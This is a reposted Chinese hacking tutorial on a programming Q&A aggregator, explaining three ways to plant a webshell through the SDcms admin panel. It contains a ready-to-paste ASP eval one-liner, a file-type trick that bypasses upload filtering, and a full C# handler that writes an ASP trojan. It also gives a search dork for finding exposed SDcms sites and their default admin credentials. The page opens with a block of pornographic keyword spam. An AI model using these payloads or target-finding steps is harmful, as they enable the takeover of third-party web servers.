日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

SDcms后台拿webshell

發布時間:2024/3/26 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SDcms后台拿webshell 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

第一種方法


進入后臺-->系統管理-->系統設置-->系統設置->網站名稱;
把網站名稱內容修改為 ? "%><%eval request("80lr")' ? ?//密碼為80lr
用菜刀鏈接http://www.80lr.com/inc/const.asp ?就搞定了。


第二種方法


進入后臺-->系統管理-->系統設置-->系統設置->上傳設置;
在文件類型里面添加一個aaspsp的文件類型,然后找一個上傳的地方直接上傳asp文件! 注:修改文件類型后不能重復點保存!


第三種方法


進入后臺-->界面管理-->模板文件管理-->創建文件
文件名寫入getshell.ashx
內容寫入下面內容:
/====================復制下面的=========================/
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));
file1.Write("<%response.clear:execute request(\"80lr\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
/=============================================/
訪問這個地址:http://www.80lr.com/skins/2009/getshell.ashx?
會在http://www.80lr.com/skins/2009/目錄下生成getshell.asp 一句話木馬 密碼為80lr 用菜刀鏈接



送上關鍵詞:intitle:"Powered By SDCMS"
后臺http://www.80lr.com/admin/ ? 默認用戶和密碼:sdcms
本文來自易寒網絡,轉載務必注明原文鏈接:http://www.80lr.com/oday/241.html

總結

以上是生活随笔為你收集整理的SDcms后台拿webshell的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。